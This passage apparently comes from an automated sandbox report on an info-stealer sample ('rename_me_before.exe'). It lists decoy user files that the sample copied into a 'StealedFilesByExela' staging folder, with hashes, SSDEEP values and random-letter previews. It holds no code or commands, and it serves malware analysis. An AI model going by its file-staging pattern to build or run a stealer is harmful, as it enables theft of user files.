Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Downloads\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNC